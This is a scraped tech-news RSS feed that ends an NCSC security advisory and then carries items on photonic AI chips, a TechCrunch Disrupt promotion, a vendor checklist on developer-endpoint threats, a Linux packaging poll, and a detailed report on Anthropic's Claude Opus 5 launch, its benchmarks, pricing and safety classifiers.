<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
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<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
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<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
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<p>All material is UK Crown Copyright © </p>
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<title><![CDATA[Lightmatter's New 65.5 Trillion OPS Light Chip Made NVIDIA's Billion Dollar GPU's Look Like a JOKE!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 293x - Views:5495 The future of AI chips might not run on electricity. It might run on light.

In this video, we break down how Lightmatter is using photonic computing to attack one of the biggest problems in artificial intelligence: moving massive amounts of data...]]></description>
<link>https://tsecurity.de/de/3693247/videos/lightmatters-new-655-trillion-ops-light-chip-made-nvidias-billion-dollar-gpus-look-like-a-joke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693247/videos/lightmatters-new-655-trillion-ops-light-chip-made-nvidias-billion-dollar-gpus-look-like-a-joke/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:14 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 293x - Views:5495 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/XimElc33jyA?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>The future of AI chips might not run on electricity. It might run on light.<br />
<br />
In this video, we break down how Lightmatter is using photonic computing to attack one of the biggest problems in artificial intelligence: moving massive amounts of data between chips without wasting huge amounts of power. Lightmatter’s Envise processor uses light to perform AI calculations such as matrix multiplication, while its Passage platform uses optical interconnects to move data between AI chips at extreme speeds. The company has demonstrated real AI workloads including ResNet, BERT, and reinforcement learning models, while targeting the growing power and bandwidth crisis inside modern AI data centers. We also explore the Passage M1000 photonic superchip, Lightmatter’s collaboration with Qualcomm, its involvement in NVIDIA’s NVLink Fusion ecosystem, and why optical computing could become critical as AI clusters continue scaling. Could light-powered AI chips replace traditional electronic computing, or will photonics first transform how GPUs communicate within massive data centers?<br />
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#AIChips #Lightmatter #PhotonicComputing #Nvidia #ArtificialIntelligence #DataCenter #FutureTech<br/></p>]]></content:encoded>
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<title><![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]></title>
<description><![CDATA[For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, gro...]]></description>
<link>https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</guid>
<pubDate>Sat, 25 Jul 2026 05:51:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For CIOs, learning from the startup ecosystem has never been more critical.</p>



<p class="wp-block-paragraph">As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.</p>



<p class="wp-block-paragraph">So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">registering for TechCrunch Disrupt 2026</a>?</p>



<p class="wp-block-paragraph">Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.</p>



<p class="wp-block-paragraph"><strong><a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Get 10% off your TechCrunch Disrupt</a> pass with the exclusive code CIO10.</strong> </p>



<p class="wp-block-paragraph">This year’s <a href="https://techcrunch.com/events/techcrunch-disrupt/">TechCrunch Disrupt</a>, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.</p>



<p class="wp-block-paragraph">Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.</p>



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<p class="wp-block-paragraph">And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.</p>



<p class="wp-block-paragraph">That’s not to mention TechCrunch Disrupt’s signature <a href="https://techcrunch.com/startup-battlefield/">Startup Battlefield</a>, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.</p>



<p class="wp-block-paragraph">And with M&amp;A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.</p>



<p class="wp-block-paragraph">Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?</p>



<p class="wp-block-paragraph"><strong>Don’t miss your chance to experience TechCrunch Disrupt 2026. <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Book your pass today and use the exclusive code CIO10</a> to save 10% before prices increase.</strong></p>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



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<title><![CDATA[Where do you install software from? Standard repos, sources, Flatpak, AppImage, etc]]></title>
<description><![CDATA[Do you install only flatpaks? Or only native RPM/DEB/etc? Maybe you're religios about it.  Or maybe you don't care and just use what's convenient, which happens to be... what channel usually for you? Curious to know as a developer where this ship is moving recently    submitted by    /u/oleg_anto...]]></description>
<link>https://tsecurity.de/de/3692668/linux-tipps/where-do-you-install-software-from-standard-repos-sources-flatpak-appimage-etc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692668/linux-tipps/where-do-you-install-software-from-standard-repos-sources-flatpak-appimage-etc/</guid>
<pubDate>Sat, 25 Jul 2026 00:11:41 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Do you install only flatpaks? Or only native RPM/DEB/etc? Maybe you're religios about it. </p> <p>Or maybe you don't care and just use what's convenient, which happens to be... what channel usually for you?</p> <p>Curious to know as a developer where this ship is moving recently</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/oleg_antonyan"> /u/oleg_antonyan </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v56fjz/where_do_you_install_software_from_standard_repos/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v56fjz/where_do_you_install_software_from_standard_repos/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Why Autonomous Systems Need Their Own Cybersecurity Framework]]></title>
<description><![CDATA[Autonomous systems are moving from pilots and prototypes into mission-critical operations. Drones inspect infrastructure. Robots support industrial workflows. Uncrewed platforms are becoming part of defense, public safety, logistics, energy, and...
The post Why Autonomous Systems Need Their Own C...]]></description>
<link>https://tsecurity.de/de/3692265/it-security-nachrichten/why-autonomous-systems-need-their-own-cybersecurity-framework/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692265/it-security-nachrichten/why-autonomous-systems-need-their-own-cybersecurity-framework/</guid>
<pubDate>Fri, 24 Jul 2026 20:18:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1024" height="768" src="https://www.cyberdefensemagazine.com/wp-content/uploads/2026/07/Why-Autonomous-Systems-Need-Their-Own-Cybersecurity-Framework.png.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" link_thumbnail="" decoding="async" loading="lazy" srcset="https://www.cyberdefensemagazine.com/wp-content/uploads/2026/07/Why-Autonomous-Systems-Need-Their-Own-Cybersecurity-Framework.png.jpg 1024w, https://www.cyberdefensemagazine.com/wp-content/uploads/2026/07/Why-Autonomous-Systems-Need-Their-Own-Cybersecurity-Framework.png-768x576.jpg 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px"><p>Autonomous systems are moving from pilots and prototypes into mission-critical operations. Drones inspect infrastructure. Robots support industrial workflows. Uncrewed platforms are becoming part of defense, public safety, logistics, energy, and...</p>
<p>The post <a href="https://www.cyberdefensemagazine.com/why-autonomous-systems-need-their-own-cybersecurity-framework/" data-wpel-link="internal">Why Autonomous Systems Need Their Own Cybersecurity Framework</a> appeared first on <a href="https://www.cyberdefensemagazine.com/" data-wpel-link="internal">Cyber Defense Magazine</a>.</p>]]></content:encoded>
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<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
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<title><![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]></title>
<description><![CDATA[For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, gro...]]></description>
<link>https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</guid>
<pubDate>Fri, 24 Jul 2026 19:56:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For CIOs, learning from the startup ecosystem has never been more critical.</p>



<p class="wp-block-paragraph">As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.</p>



<p class="wp-block-paragraph">So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">registering for TechCrunch Disrupt 2026</a>?</p>



<p class="wp-block-paragraph">Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.</p>



